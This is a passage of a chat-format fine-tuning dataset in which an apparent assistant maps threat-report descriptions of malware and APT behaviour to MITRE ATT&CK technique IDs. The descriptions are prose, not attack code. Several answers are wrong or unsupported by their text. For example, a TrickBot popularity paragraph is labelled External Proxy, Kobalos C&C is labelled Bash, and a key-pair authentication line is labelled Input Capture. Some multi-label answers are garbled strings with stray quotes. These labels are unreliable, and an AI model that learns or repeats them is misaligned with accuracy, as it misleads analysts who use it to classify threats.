                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "steals files based on an extension list if a USB drive is connected to the system."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When the actor modifies the file and changes the modification_time, the Trojan downloads the contents from the file by creating an HTTP request to a URL structured as follows: <Google Drive URL in ‘gdu’> + <file identifier in ‘f_id’> + “?alt=media” The Trojan processes the downloaded data within the file the same way it would to obtain a job from data received from the DNS tunneling channel using the TXT query mode, specifically by searching the data using the following regular expression: ([^r-v\\\\s]+)[r-v]([\\\\w\\\\d+\\\\/=]+).(<domainList[0]>|<domainList[1]>|<domainList[n]>) The Trojan function splits the matching data, specifically the subdomain on a separator that is a character between r and v and uses the data before the separator to get the sequence number and a Boolean value (0 or 1) if more data is expected"
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged', 'T1041 - Exfiltration Over C2 Channel', 'T1048 - Exfiltration Over Alternative Protocol', 'T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chaes has used .MSI files as an initial way to start the infection chain."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - Signed Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kazuar captures images from the webcam."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RemoteUtilities can upload and download files to and from a target machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN6 has collected schemas and user accounts from systems running SQL Server."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Get2 has the ability to identify the current username of an infected host."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "opens the Windows Firewall to modify incoming connections."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RegDuke can store its encryption key in the Registry."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MacMa has used a custom JSON-based protocol for its C&C communications."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Astaroth uses WMIC to execute payloads."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This data is gathered into an information structure which the RAT zips with an 8 bytes random generated password, which is then XORed with one byte"
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used the Plink utility to tunnel RDP back to C2 infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used filenames and Registry key names associated with Windows Defender."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE BUTLER compromised three Japanese websites using a Flash exploit to perform watering hole attacks."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ROKRAT can gather the hostname and the OS version to ensure it doesn’t run on a Windows XP or Windows Server 2003 systems."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has conducted SQL injection attacks, exploited vulnerabilities CVE-2019-19781 and CVE-2020-0688 for Citrix and MS Exchange, and CVE-2018-13379 for Fortinet VPNs."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gorgon Group malware can use process hollowing to inject one of its trojans into another process."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla and its RPC backdoors have used APIs calls for various tasks related to subverting AMSI and accessing then executing commands through RPC and/or named pipes."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StrifeWater can self delete to cover its tracks."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Temporary audio and video files are stored within the audio and video sub-folders respectively. After a call is finished, this data is compressed and encrypted using the same techniques previously witnessed. These files are stored in randomly named .dat files within the Skype folder"
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture', 'T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Chrome extension is installed and maintained by a number of plist files written to the user directory ~/Library/LaunchAgent/. To conceal the malicious behavior, the underlying commands in the plist files are obfuscated with Base64 encoding."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has conducted research against potential victim websites as part of its operational planning."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to add its own account to the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Many strings in  are obfuscated with a XOR algorithm."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rising Sun can clear a memory blog in the process by overwriting it with junk bytes."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ferocious Kitten has acquired domains imitating legitimate sites."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ursnif has used hooked APIs to take screenshots."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remsec is capable of listing contents of folders on the victim. Remsec also searches for custom network encryption software on victims."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Neoichor can upload files from a victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware’s second functionality is to gain persistence on an infected machine. After obtaining persistence, the next functionality of Linux Rabbit is to brute force SSH passwords which ultimately allows the malware to install the cryptocurrency miner onto the server. The SSH brute forcing begins by the malware first generating a random IPv4 string and checking its geolocation to see where it is located. If the IP is located within a country that is “blacklisted,” it will stop and move on until it finds an IP that is located in an allowed geolocation, which for this malware are Russia, South Korea, the UK, and the US. Once an allowed IP location is discovered, Linux Rabbit will check to see if an SSH server is listening on Port 22. The malware will open a socket to see if it receives a response, and if it does, it will attempt to obtain the machine’s hostname. If the TLD is not blacklisted, the malware will run through a process of authentication utilizing a list of hard-coded credentials it has"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has encoded payloads with a single-byte XOR, both skipping the key itself and zeroing in an attempt to avoid exposing the key."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Traditional antivirus software and other systems that rely on low-level indicators do not effectively detect and block common and pervasive malware"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emotet has been seen exploiting SMB via a vulnerability exploit like EternalBlue (MS17-010) to achieve lateral movement and propagation."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkWatchman has used a DGA to generate a domain name for C2."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "bypasses user access control by using a DLL hijacking vulnerability in the Windows Update Standalone Installer (wusa.exe)."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ServHelper contains a module for downloading and executing DLLs that leverages \"rundll32.exe\"."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to avoid in-memory scanning during runtime, the payload encrypts all of the function blocks before executing the actual malicious routine. Afterwards, whenever it needs to use a function, it will decrypt the function, execute it, and encrypt the function back again, as can be seen in Figure 4. If a function will not be used on the rest of the execution, it will be scrambled by another mess-up function, as illustrated in Figure 6. The mess-up function muddles up the bytes with random values and makes the input blocks unrecoverable. The purpose of this is to further avoid being detected by a certain cybersecurity solution"
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remexi is a basic back door Trojan that allows attackers to open a remote shell on the computer and execute commands"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWERTON has used AES for encrypting C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Trojan.Karagany has used plugins with a self-delete capability."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors developed their own custom webshells to upload to compromised servers."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After opening the doc file (which is again a Web Archive File), the exploit drops and executes the Trojan program “svcmondr.exe” (8052234dcd41a7d619acb0ec9636be0b)."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rising Sun can archive data using RC4 encryption and Base64 encoding prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In their example, the OilRig group used a malicious macro document to deliver the backdoor, which is a tactic much more commonly used by them. A closer examination revealed the obfuscation used by the OilRig group in these QUADAGENT samples were likely the result of using an open-source toolkit called Invoke-Obfuscation. Invoke-Obfuscation has proven to be highly effective at obfuscating PowerShell scripts and in this case, the adversary was able to take advantage of the tool for increased chances of evasion and as an anti-analysis tactic. Based on our telemetry, we have high confidence the email account used to launch this attack was compromised by the OilRig group, likely via credential theft. The file appears to have been compiled using a bat2exe tool, which will take batch files (.bat) and convert them to PE (.exe) files. Its sole purpose here is to install the QUADAGENT backdoor and execute it. The executable will drop the packaged QUADAGENT PowerShell script using the filename Office365DCOMCheck.ps1 in addition to a VBScript file with the same filename which will assist in the execution of it. Once the QUADAGENT payload has executed, it will use rdppath[.]com as the C2, first via HTTPS, then HTTP, then via DNS tunneling, each being used as a corresponding fallback channel if the former fails. The wave against the government entity (June 26) also involved a simple PE file attachment (SHA256: d948d5b3702e140ef5b9247d26797b6dcdfe4fdb6f367bb217bc6b5fc79df520) using the filename tafahom.exe. This PE was slightly different from the other attack, being compiled using the Microsoft .NET Framework instead of being generated via a bat2exe tool and containing a decoy dialog box as shown in Figure 1"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mustang Panda has used RAR to create password-protected archives of collected documents prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We have identified several implants that leveraged PowerShell, VBS, JS, and dotnet for resilience and persistence. The final stage, however, is a dotnet application that takes several commands such as directory listing, screenshot, compress, upload, etc. It then creates random long string folder names in temp directories to host the collected files per category before compressing, encrypting and uploading to the C2 server"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can enumerate drives and Remote Desktop sessions."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As a result of all of the above actions, when attempting to surf the web, the user’s web browser will first ask the attacker web page on TOR for proxy settings. The user traffic is then redirected through a proxy controlled by the attacker, who carries out a Man-In-the-Middle attack and impersonates the various sites the user attempts to surf. The attacker is free to read the victim’s traffic and tamper with it in any way they please"
            },
            {
                "role": "assistant",
                "content": "T1557 - Adversary-in-the-Middle"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The same situation applies to authentication by key pair – the server contains a pre-defined constant public key and it allows authentication only if a particular private key is used"
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pupy can obtain a list of SIDs and provide the option for selecting process tokens to impersonate."
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has used PowerShell profiles to maintain persistence on an infected machine."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As with every communication with the C2, the script collects and sends information about the target environment including the stack of security solutions installed on the computer and are part of the following list"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mongall can inject a DLL into `rundll32.exe` for execution."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SILENTTRINITY can search for modifiable services that could be used for privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has collected information from Microsoft SharePoint services within target networks."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Dust Storm, the threat actors executed JavaScript code via `mshta.exe`."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla RPC backdoors can collect files from USB thumb drives."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Apart for its backdoor routines, this malware can steal information through keylogging, audio recording, and screen capture"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture', 'T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has used various types of scripting to perform operations, including Python scripts. The group was observed installing Python 2.7 on a victim."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to execute the command ipconfig /all."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to discover potential targets and locate the information it needs to authenticate against, the script passively collects data from /.ssh/config, .bash_history, /.ssh/known_hosts, and the likes. We did not identify any active scanning techniques used to identify additional targets"
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Nebulae can create a service to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conficker will copy itself with a random name into the system directory %systemroot%\\system32 and register itself as a service"
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot has arguably been one of the most popular Trojans for the past couple of years, used by threat actors mostly because of its modular design and highly resilient infrastructure. Bitdefender researchers even analyzed one of its modules earlier this year, particularly because it targeted telecom, education, and financial services in the US and Hong Kong"
            },
            {
                "role": "assistant",
                "content": "T1090.002 - External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can modify service configurations."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Something that makes Kobalos unique is the fact that the code for running a C&amp;C server is in Kobalos itself. Any server compromised by Kobalos can be turned into a C&amp;C server by the operators sending a single command. As the C&amp;C server IP addresses and ports are hardcoded into the executable, the operators can then generate new Kobalos samples that use this new C&amp;C server"
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Bash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wingbird performs multiple process injections to hijack system processes and execute malicious code."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UEFI bootkits are planted in the system firmware and are invisible to security software running within the operating system because the malware loads in the initial stage of the booting sequence."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PingPull has the ability to install itself as a service."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
